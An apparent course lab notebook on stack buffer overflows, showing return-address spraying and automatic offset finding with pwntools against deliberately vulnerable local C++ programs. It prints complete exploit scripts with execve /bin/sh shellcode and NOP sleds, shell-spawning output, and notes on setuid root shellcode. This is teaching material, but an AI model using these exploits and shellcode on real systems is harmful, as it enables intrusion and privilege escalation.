ExploitCode-SprayingRETAddress.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Attacks with Unknown Buffer Size or Buffer Too Small to fit Shellcode\n",
    "\n",
    "- so far we've utilized the buffer address and length to create payload\n",
    "- this is not true in real-world where the attacker will not have access to the source code and binary of the vulnerable program to exploit\n",
    "- we can try every possible length; however, not recommended as it may trigger IDS and IPS\n",
    "- let's pretend we only know the range; say 100-200 for the vulnerable program below\n",
    "- we'll create the payload of the following structure:\n",
    "\n",
    "```\n",
    "| RT ... ... (4*53 = 212 bytes) | NOP .... 50 bytes | Shellcode |\n",
    "```\n",
    "\n",
    "- instead of sparying the return address towards the end of the payload, we spary them in the beginning\n",
    "- we spray controlled return address (RT) at least 53 times so that at least one of them would overwrite the actual return address of the caller\n",
    "    - hence the name **spraying** attack\n",
    "- we'll exploit `bad.cpp` program in `demos/stack_overflow` folder\n",
    "- we're using `EBP + 20` as the return address"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 39,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/home/kali/SoftwareSecurity\n"
     ]
    }
   ],
   "source": [
    "%cd ~/SoftwareSecurity"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 40,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#include <stdio.h>\n",
      "#include <string.h>\n",
      "#include <sys/types.h>\n",
      "#include <stdlib.h>\n",
      "#include <unistd.h>\n",
      "#include <iostream>\n",
      "using namespace std;\n",
      "\n",
      "#define BUFSIZE 150\n",
      "\n",
      "using namespace std;\n",
      "\n",
      "\n",
      "char * mgets(char *dst) {\n",
      "    char *ptr = dst;\n",
      "    int ch; \n",
      "\t/* skip leading white spaces */ \n",
      "    while ((ch = getchar()) && (ch == ' ' or ch == '\\t') )\n",
      "        ; \n",
      "\n",
      "    if ((ch == '\\n') or (ch == EOF)) { \n",
      "        *ptr = '\\0';\n",
      "        return dst; \n",
      "    } \n",
      "    else\n",
      "        *ptr = ch;\n",
      "\n",
      "    /* now read the rest until \\n or EOF */ \n",
      "    while (true) {\n",
      "        ch = getchar();\n",
      "        if (ch == '\\n' or ch == EOF) break;\n",
      "        *(++ptr) = ch; \n",
      "    }\n",
      "    *(++ptr) = 0;\n",
      "    return dst;\n",
      "}\n",
      "\n",
      "void bad() {\n",
      "    char buffer[BUFSIZE];\n",
      "    // printf(\"buffer is at %p\\n\", buffer);\n",
      "    cout << \"Give me some text: \";\n",
      "    fflush(stdout);\n",
      "    mgets(buffer); // similar to C's gets;\n",
      "    //gets(buffer); // depricated\n",
      "    cout << \"Acknowledged: \" << buffer << \" with length \" << strlen(buffer) << endl;\n",
      "}\n",
      "\n",
      "int main(int argc, char *argv[]) {\n",
      "    bad();\n",
      "    cout << \"Good bye!\\n\";\n",
      "    return 0;\n",
      "}\n"
     ]
    }
   ],
   "source": [
    "! cat ./demos/stack_overflow/bad.cpp"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 27,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "-rwxr-xr-x 1 root root 31628 Apr 24 10:50 demos/stack_overflow/bad.exe\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: "
     ]
    }
   ],
   "source": [
    "%%bash\n",
    "input=\"demos/stack_overflow/bad.cpp\"\n",
    "output=\"demos/stack_overflow/bad.exe\"\n",
    "echo kali | sudo -S ./compile.sh $input $output\n",
    "ls -al $output"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 26,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/home/kali/SoftwareSecurity\n"
     ]
    }
   ],
   "source": [
    "%cd ../../"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 28,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/home/kali/SoftwareSecurity/demos/stack_overflow\n"
     ]
    }
   ],
   "source": [
    "%cd demos/stack_overflow"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 29,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "buffer is at 0xffffbc30\n",
      "Give me some text: Acknowledged: Hello World with length 11\n",
      "Good bye!\n"
     ]
    }
   ],
   "source": [
    "! python -c 'print(\"Hello World\")' | ./bad.exe"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Give me some text: Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA with length 200\n"
     ]
    }
   ],
   "source": [
    "! python -c 'print(\"A\"*200)' | ./so_stdio.exe"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Create and Send Payload using Python and Pwntools\n",
    "\n",
    "- `bad_exploit_spray.py` exploit code found in `demos/stack_overflow` demonstrates the attack"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 32,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/home/kali/SoftwareSecurity/demos/stack_overflow\n"
     ]
    }
   ],
   "source": [
    "! pwd"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 31,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#!/usr/bin/env python\n",
      "# -*- coding: utf-8 -*-\n",
      "# This exploit template was generated via:\n",
      "# $ pwn template ./bad.exe\n",
      "from pwn import *\n",
      "\n",
      "# Set up pwntools for the correct architecture\n",
      "target_program = './bad.exe'\n",
      "exe = context.binary = ELF(target_program)\n",
      "\n",
      "# Many built-in settings can be controlled on the command-line and show up\n",
      "# in \"args\".  For example, to dump all data sent/received, and disable ASLR\n",
      "# for all created processes...\n",
      "# ./exploit.py DEBUG NOASLR\n",
      "\n",
      "def start(argv=[], *a, **kw):\n",
      "    '''Start the exploit against the target.'''\n",
      "    if args.GDB:\n",
      "        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)\n",
      "    else:\n",
      "        return process([exe.path] + argv, *a, **kw)\n",
      "\n",
      "# Specify your GDB script here for debugging\n",
      "# GDB will be launched if the exploit is run via e.g.\n",
      "# ./exploit.py GDB\n",
      "gdbscript = '''\n",
      "tbreak main\n",
      "continue\n",
      "'''.format(**locals())\n",
      "\n",
      "#===========================================================\n",
      "#                    EXPLOIT GOES HERE\n",
      "#===========================================================\n",
      "# Arch:     i386-32-little\n",
      "# RELRO:    Partial RELRO\n",
      "# Stack:    No canary found\n",
      "# NX:       NX disabled\n",
      "# PIE:      No PIE (0x8048000)\n",
      "# RWX:      Has RWX segments\n",
      "\n",
      "# https://docs.pwntools.com/en/stable/util/cyclic.html\n",
      "# create 400 characters cyclic length\n",
      "\n",
      "io = start()\n",
      "# find the offset\n",
      "io.sendline(cyclic(400, n=4))\n",
      "io.wait() #wait until tube is closed and coredump file is generated\n",
      "\n",
      "core = io.corefile\n",
      "#offset = cyclic_find(core.esp, n=4)\n",
      "address = core.esp + 100 #core.esp + 40 #esp = eip+4\n",
      "#print(f'Using return address: {ret_address:#010x}')\n",
      "#print(f'ESP is at {core.esp:#010x}')\n",
      "\n",
      "# open next tube\n",
      "io = start()\n",
      "\n",
      "#io.recvuntil(' at ')\n",
      "#address = int(io.recvline(False), 16) + 200\n",
      "#print(f'Nop address is at: {address:#010x}')\n",
      "\n",
      "spray_ret_address = p32(address)*54\n",
      "\n",
      "# get the shellcode\n",
      "#shellcode_user = asm(shellcraft.sh())\n",
      "#print(hexdump(shellcode_user))\n",
      "\n",
      "# x86/linux/exec: 24 bytes; copied from shellcode/x86-linux-sh.py file\n",
      "\n",
      "shellcode_user = (\n",
      "    b\"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\"\n",
      "    b\"\\xc9\\x89\\xca\\x6a\\x0b\\x58\\xcd\\x80\"\n",
      ")\n",
      "\n",
      "NOPSled = b'\\x90'*100 # asm('nop')\n",
      "payload = spray_ret_address+NOPSled+shellcode_user\n",
      "io.sendline(payload)\n",
      "\n",
      "io.interactive()\n"
     ]
    }
   ],
   "source": [
    "! cat bad_exploit_spray.py"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- next is to just run the `bad_exploit_spray.py` from Terminal\n",
    "- we'll get a shell!\n",
    "\n",
    "```bash\n",
    "(base) ┌──(kali㉿kali)-[~/SoftwareSecurity/demos/stack_overflow]\n",
    "└─$ python bad_exploit_spray.py\n",
    "[*] '/home/kali/SoftwareSecurity/demos/stack_overflow/bad.exe'\n",
    "    Arch:     i386-32-little\n",
    "    RELRO:    Partial RELRO\n",
    "    Stack:    No canary found\n",
    "    NX:       NX unknown - GNU_STACK missing\n",
    "    PIE:      No PIE (0x8048000)\n",
    "    Stack:    Executable\n",
    "    RWX:      Has RWX segments\n",
    "[+] Starting local process '/home/kali/SoftwareSecurity/demos/stack_overflow/bad.exe': pid 123446\n",
    "[*] Process '/home/kali/SoftwareSecurity/demos/stack_overflow/bad.exe' stopped with exit code -11 (SIGSEGV) (pid 123446)\n",
    "[+] Parsing corefile...: Done\n",
    "[*] '/home/kali/SoftwareSecurity/demos/stack_overflow/core.123446'\n",
    "    Arch:      i386-32-little\n",
    "    EIP:       0x6261616b\n",
    "    ESP:       0xffffbd90\n",
    "    Exe:       '/home/kali/SoftwareSecurity/demos/stack_overflow/bad.exe' (0x8048000)\n",
    "    Fault:     0x6261616b\n",
    "[+] Starting local process '/home/kali/SoftwareSecurity/demos/stack_overflow/bad.exe': pid 123457\n",
    "[*] Switching to interactive mode\n",
    "buffer is at 0xffffbd00\n",
    "Give me some text: Acknowledged: \\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\xf4\\xbd\\xff\\xff\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x901\\xc0Ph//shh/bin\\x89\\xe31\\xc9\\x89\\xcaj\\x0bX with length 340\n",
    "$ whoami\n",
    "kali\n",
    "$ ls\n",
    "auth_overflow_env.cpp  core.59097\n",
    "authenticate.cpp       core.59796\n",
    "...\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Automatically determining buffer address\n",
    "\n",
    "- in real world, buffer address will not be printed!\n",
    "- one can determine the buffer address using ESP\n",
    "- PEDA provides offset for ESP which is the payload length to completely overwrite EIP or return address\n",
    "- the offset to ESP can be automatically determined using pwntools's `cylic_find` API\n",
    "- let's look at the modified program where the line printing the buffer address is commented out\n",
    "- also the BUFSIZE is changed to 200"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#include <stdio.h>\n",
      "#include <string.h>\n",
      "#include <sys/types.h>\n",
      "#include <stdlib.h>\n",
      "#include <unistd.h>\n",
      "#include <iostream>\n",
      "using namespace std;\n",
      "\n",
      "#define BUFSIZE 200\n",
      "\n",
      "using namespace std;\n",
      "\n",
      "void give_shell(){\n",
      "    // Set the gid to the effective gid\n",
      "    // this prevents /bin/sh from dropping the privileges\n",
      "    gid_t gid = getegid();\n",
      "    setresgid(gid, gid, gid);\n",
      "    system(\"/bin/sh\");\n",
      "}\n",
      "\n",
      "char * mgets(char *dst) {\n",
      "    char *ptr = dst;\n",
      "    int ch; \n",
      "\t/* skip leading white spaces */ \n",
      "    while ((ch = getchar()) && (ch == ' ' or ch == '\\t') )\n",
      "        ; \n",
      "\n",
      "    if ((ch == '\\n') or (ch == EOF)) { \n",
      "        *ptr = '\\0';\n",
      "        return dst; \n",
      "    } \n",
      "    else\n",
      "        *ptr = ch;\n",
      "\n",
      "    /* now read the rest until \\n or EOF */ \n",
      "    while (true) {\n",
      "        ch = getchar();\n",
      "        if (ch == '\\n' or ch == EOF) break;\n",
      "        *(++ptr) = ch; \n",
      "    }\n",
      "    *(++ptr) = 0;\n",
      "    return dst;\n",
      "}\n",
      "\n",
      "void bad() {\n",
      "    char buffer[BUFSIZE];\n",
      "    //printf(\"buffer is at %p\\n\", buffer);\n",
      "    cout << \"Give me some text: \";\n",
      "    fflush(stdout);\n",
      "    mgets(buffer); // similar to C's gets;\n",
      "    //gets(buffer); // depricated\n",
      "    cout << \"Acknowledged: \" << buffer << \" with length \" << strlen(buffer) << endl;\n",
      "}\n",
      "\n",
      "int main(int argc, char *argv[]) {\n",
      "    gid_t gid = getegid();\n",
      "    setresgid(gid, gid, gid);\n",
      "    bad();\n",
      "    cout << \"Good bye!\\n\";\n",
      "    return 0;\n",
      "}\n"
     ]
    }
   ],
   "source": [
    "! cat demos/stack_overflow/so_stdio_no_add.cpp"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Compile the program"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: "
     ]
    }
   ],
   "source": [
    "%%bash\n",
    "# compile the target program\n",
    "input=\"./demos/stack_overflow/so_stdio_no_add.cpp\"\n",
    "output=\"./demos/stack_overflow/so_stdio_no_add.exe\"\n",
    "echo kali | sudo -S ./compile.sh $input $output"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Generate and run the exploit code"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#!/usr/bin/env python\n",
      "# -*- coding: utf-8 -*-\n",
      "# This exploit template was generated via:\n",
      "# $ pwn template ./so_stdio.exe\n",
      "from pwn import *\n",
      "\n",
      "# Set up pwntools for the correct architecture\n",
      "target_program = './so_stdio_no_add.exe'\n",
      "exe = context.binary = ELF(target_program)\n",
      "\n",
      "# Many built-in settings can be controlled on the command-line and show up\n",
      "# in \"args\".  For example, to dump all data sent/received, and disable ASLR\n",
      "# for all created processes...\n",
      "# ./exploit.py DEBUG NOASLR\n",
      "\n",
      "def start(argv=[], *a, **kw):\n",
      "    '''Start the exploit against the target.'''\n",
      "    if args.GDB:\n",
      "        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)\n",
      "    else:\n",
      "        return process([exe.path] + argv, *a, **kw)\n",
      "\n",
      "# Specify your GDB script here for debugging\n",
      "# GDB will be launched if the exploit is run via e.g.\n",
      "# ./exploit.py GDB\n",
      "gdbscript = '''\n",
      "tbreak main\n",
      "continue\n",
      "'''.format(**locals())\n",
      "\n",
      "#===========================================================\n",
      "#                    EXPLOIT GOES HERE\n",
      "#===========================================================\n",
      "# Arch:     i386-32-little\n",
      "# RELRO:    Partial RELRO\n",
      "# Stack:    No canary found\n",
      "# NX:       NX disabled\n",
      "# PIE:      No PIE (0x8048000)\n",
      "# RWX:      Has RWX segments\n",
      "\n",
      "# https://docs.pwntools.com/en/stable/util/cyclic.html\n",
      "# create 200 characters cyclic length\n",
      "\n",
      "io = start()\n",
      "# find the offset\n",
      "io.sendline(cyclic(500, n=4))\n",
      "io.wait() #wait until tube is closed and coredump file is generated\n",
      "\n",
      "core = io.corefile\n",
      "\n",
      "payload_len = cyclic_find(core.read(core.esp, 4), n=4) # esp = eip+4\n",
      "print(f'payload_len = {payload_len}')\n",
      "print(f'ESP is at {core.esp:#010x}')\n",
      "print(f'EIP contains {core.eip:#010x}')\n",
      "\n",
      "# open next tube\n",
      "io = start()\n",
      "\n",
      "# Find the base address of buffer\n",
      "\n",
      "address = core.esp-payload_len\n",
      "print(f'buffer address is at: {address:#010x}')\n",
      "\n",
      "repeat_ret_address = p32(address)*5\n",
      "\n",
      "# get the shellcode using pwntools\n",
      "#shellcode_user = asm(shellcraft.sh())\n",
      "#print(hexdump(shellcode_user))\n",
      "# x86/linux/exec: 24 bytes; copied from shellcode/x86-linux-sh.py file\n",
      "\n",
      "shellcode_user = (\n",
      "    b\"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\"\n",
      "    b\"\\xc9\\x89\\xca\\x6a\\x0b\\x58\\xcd\\x80\"\n",
      ")\n",
      "\n",
      "sled_len = payload_len - len(repeat_ret_address)-len(shellcode_user)\n",
      "NOPSled = b'\\x90'*sled_len # asm('nop')\n",
      "payload = NOPSled+shellcode_user+repeat_ret_address\n",
      "io.sendline(payload)\n",
      "\n",
      "# shellcode = asm(shellcraft.sh())\n",
      "# payload = fit({\n",
      "#     32: 0xdeadbeef,\n",
      "#     'iaaa': [1, 2, 'Hello', 3]\n",
      "# }, length=128)\n",
      "# io.send(payload)\n",
      "# flag = io.recv(...)\n",
      "# log.success(flag)\n",
      "\n",
      "# get shell\n",
      "#io.sendline(b'id')\n",
      "#print(io.recvline())\n",
      "\n",
      "io.interactive()\n"
     ]
    }
   ],
   "source": [
    "! cat ./demos/stack_overflow/so_stdio_no_add_exploit.py"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- execute the exploitcode from a terminal and get the shell!\n",
    "\n",
    "```bash\n",
    "──(kali㉿K)-[~/Sp22/SystemSecurity/demos/stack_overflow]\n",
    "└─$ python so_stdio_no_add_exploit.py\n",
    "[*] '/home/kali/Sp22/SystemSecurity/demos/stack_overflow/so_stdio_no_add.exe'\n",
    "    Arch:     i386-32-little\n",
    "    RELRO:    Partial RELRO\n",
    "    Stack:    No canary found\n",
    "    NX:       NX disabled\n",
    "    PIE:      No PIE (0x8048000)\n",
    "    RWX:      Has RWX segments\n",
    "[+] Starting local process '/home/kali/Sp22/SystemSecurity/demos/stack_overflow/so_stdio_no_add.exe': pid 739836\n",
    "[*] Process '/home/kali/Sp22/SystemSecurity/demos/stack_overflow/so_stdio_no_add.exe' stopped with exit code -11 (SIGSEGV) (pid 739836)\n",
    "[+] Parsing corefile...: Done\n",
    "[*] '/home/kali/Sp22/SystemSecurity/demos/stack_overflow/core.739836'\n",
    "    Arch:      i386-32-little\n",
    "    EIP:       0x63616164\n",
    "    ESP:       0xffffc280\n",
    "    Exe:       '/home/kali/Sp22/SystemSecurity/demos/stack_overflow/so_stdio_no_add.exe' (0x8048000)\n",
    "    Fault:     0x63616164\n",
    "payload_len = 216\n",
    "ESP is at ffffc280\n",
    "EIP contains 63616164\n",
    "[+] Starting local process '/home/kali/Sp22/SystemSecurity/demos/stack_overflow/so_stdio_no_add.exe': pid 739839\n",
    "buffer address is at: ffffc1a8\n",
    "[*] Switching to interactive mode\n",
    "Give me some text: Acknowledged: \\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x901\\xc0Ph//shh/bin\\x89\\xe31\\xc9\\x89\\xcaj\\x0b\\xa8\\xc1\\xff\\xff\\xa8\\xc1\\xff\\xff\\xa8\\xc1\\xff\\xff\\xa8\\xc1\\xff\\xff\\xa8\\xc1\\xff\\xff with length 216\n",
    "$ whoami\n",
    "kali\n",
    "$ exit\n",
    "[*] Got EOF while reading in interactive\n",
    "$ \n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Getting root shellcode\n",
    "\n",
    "- user shellcode gives your root shell if you create a soft link /bin/sh pointing to /bin/zsh\n",
    "- use the root shellcode provided in the shellcode folder\n",
    "- can also create setuid binary using pwntools and prepend it to the regular user shell\n",
    "- make sure target program is root owned \n",
    "- set seteuid of the target program\n",
    "- generate setuid binary using pwntools's shellcraft\n",
    "- prepend the bytes generated to the user root shell\n",
    "\n",
    "```bash\n",
    "(base) ┌──(kali㉿kali)-[~/Sp23/SoftwareSecurity/demos/stack_overflow]\n",
    "└─$ shellcraft -f d i386.linux.setreuid 0\n",
    "\\x31\\xdb\\x6a\\x46\\x58\\x89\\xd9\\xcd\\x80\n",
    "```\n",
    "- change the core pattern to make sure core.%p is the pattern\n",
    "\n",
    "```bash\n",
    "echo kali | sudo -S sysctl -w kernel.core_pattern=core.%p\n",
    "```\n",
    "- set ulimit to unlimited\n",
    "\n",
    "\n",
    "### coredump of setuid programs\n",
    "- must run the exploit_code with sudo to read the coredump of setuid programs\n",
    "\n",
    "- run the exploit code as root\n",
    "\n",
    "```bash\n",
    "sudo python so_stdio_no_add_exploit.py\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Challenge\n",
    "\n",
    "1. Create Python exploit code to get a root shell (instead of the user shell)\n",
    "    - Hint - create a template similar to the demo\n",
    "    - automatically find the controlled return address\n",
    "    - test to make sure the exploit code works\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.11.7"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}